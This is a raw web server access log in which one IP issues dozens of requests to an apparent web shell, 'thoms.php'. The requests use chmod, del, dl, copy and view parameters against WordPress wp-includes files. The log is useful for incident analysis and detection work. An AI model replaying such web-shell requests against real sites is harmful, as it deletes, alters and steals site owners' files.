45.135.193.11 - - [11/Sep/2026:23:20:32 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:32 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php HTTP/1.1" 200 13712 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:32 -0400] "GET /bestzyx.com.tw/wp-includes/robots-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:32 -0400] "GET /thoms.php?del=locale.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=locale.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:32 -0400] "GET /thoms.php?chmod=shortcodes.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:32 -0400] "GET /thoms.php?del=functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:32 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:32 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fvars.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fvars.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:32 -0400] "GET /thoms.php?dl=functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59317 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php HTTP/1.1" 200 61396 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /bestzyx.com.tw/wp-includes/ms-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /bestzyx.com.tw/wp-includes/registration-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /thoms.php?chmod=revision.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FRequests&p= HTTP/1.1" 200 12273 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /bestzyx.com.tw/wp-includes/class-feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-network-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php HTTP/1.1" 200 12627 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /bestzyx.com.tw/wp-includes/functions.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:33 -0400] "GET /thoms.php?dl=author-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fblock-bindings HTTP/1.1" 200 13457 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fsodium_compat&p= HTTP/1.1" 200 12286 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /thoms.php?del=class-wp-term.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59324 "http://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 200 14522 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /thoms.php?chmod=nav-menu-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=nav-menu-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /thoms.php?dl=class-requests.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-requests.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:35 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FIXR HTTP/1.1" 200 14484 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /thoms.php?dl=registration-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59336 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /thoms.php?dl=theme.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59316 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:34 -0400] "GET /thoms.php?del=block-patterns&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59195 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:35 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-tax-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:35 -0400] "GET /thoms.php?chmod=Text&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=Text&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:35 -0400] "GET /bestzyx.com.tw/wp-includes/rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:35 -0400] "GET /thoms.php?chmod=functions.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:35 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=functions.wp-styles.php HTTP/1.1" 200 14566 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:35 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-dependency.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:35 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:35 -0400] "GET /thoms.php?del=class-feed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /thoms.php?chmod=taxonomy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-processor.php HTTP/1.1" 200 32899 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-block-processor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /thoms.php?del=http.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59108 "http://163.245.207.76:443/thoms.php?del=http.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /thoms.php?del=session.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=session.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=comment.php HTTP/1.1" 200 56946 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /thoms.php?chmod=feed-rss.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:37 -0400] "GET /bestzyx.com.tw/wp-includes/class-walker-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /thoms.php?del=class-wp-http-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59239 "http://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:37 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-http-cookie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:36 -0400] "GET /thoms.php?del=l10n.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:37 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:37 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=option.php HTTP/1.1" 200 37250 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:37 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frevision.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frevision.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:37 -0400] "GET /thoms.php?dl=theme-i18n.json&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59358 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:37 -0400] "GET /thoms.php?dl=class-wp-application-passwords.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59313 "http://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:37 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php HTTP/1.1" 200 13068 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:37 -0400] "GET /thoms.php?dl=version.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59321 "http://163.245.207.76:443/thoms.php?dl=version.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:38 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:38 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fload.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fload.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:38 -0400] "GET /thoms.php?dl=class-wp-http-requests-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:38 -0400] "GET /bestzyx.com.tw/wp-includes/pluggable-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:38 -0400] "GET /bestzyx.com.tw/wp-includes/cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:38 -0400] "GET /thoms.php?dl=formatting.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:38 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
